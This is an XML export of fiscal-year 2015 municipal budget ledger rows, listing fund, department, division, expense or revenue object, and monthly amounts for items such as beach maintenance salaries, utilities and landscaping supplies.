<row _id="16936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533211.0</object><object_description>FAC MAINT SVCS-WORK ORDERS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="16937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210.0</total></row>
<row _id="16938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>36973.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36973.0</total></row>
<row _id="16939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>61309.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61309.0</total></row>
<row _id="16940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="16941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1208576.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1208576.0</total></row>
<row _id="16942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>31970.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31970.0</total></row>
<row _id="16943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>41710.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41710.0</total></row>
<row _id="16944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>28840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28840.0</total></row>
<row _id="16945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="16946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25771.0</total></row>
<row _id="16947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>34640.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34640.0</total></row>
<row _id="16948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="16949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>164502.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>164502.0</total></row>
<row _id="16950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1029.0</total></row>
<row _id="16951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7572.0</total></row>
<row _id="16952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11910.0</total></row>
<row _id="16953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9772.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9772.0</total></row>
<row _id="16954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31890.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31890.0</total></row>
<row _id="16955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="16956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>18487.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18487.0</total></row>
<row _id="16957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6314.0</total></row>
<row _id="16958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6568.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6568.0</total></row>
<row _id="16959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26000.0</total></row>
<row _id="16960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>192962.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192962.0</total></row>
<row _id="16961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="16962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13713.0</total></row>
<row _id="16963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-SENIOR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="16964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409170.0</object><object_description>ACTIVITY PASSPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="16965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408560.0</object><object_description>BIKESHARE METRO CFP GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-610880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-610880.0</total></row>
<row _id="16966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>31153.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31153.0</total></row>
<row _id="16967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>883.0</total></row>
<row _id="16968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="16969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>452326.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>452326.0</total></row>
<row _id="16971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>125132.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>125132.0</total></row>
<row _id="16972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2053.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2053.0</total></row>
<row _id="16973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUSTODIAL SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>115268.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>115268.0</total></row>
<row _id="16974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>24475.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24475.0</total></row>
<row _id="16975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>237297.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>237297.0</total></row>
<row _id="16976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1199.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1199.0</total></row>
<row _id="16977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2462.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2462.0</total></row>
<row _id="16978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522311.0</object><object_description>DISCOUNTS AVAILABLE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>733.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>733.0</total></row>
<row _id="16981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>243110.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>243110.0</total></row>
<row _id="16982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>770.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>770.0</total></row>
<row _id="16983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-2169.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2169.0</total></row>
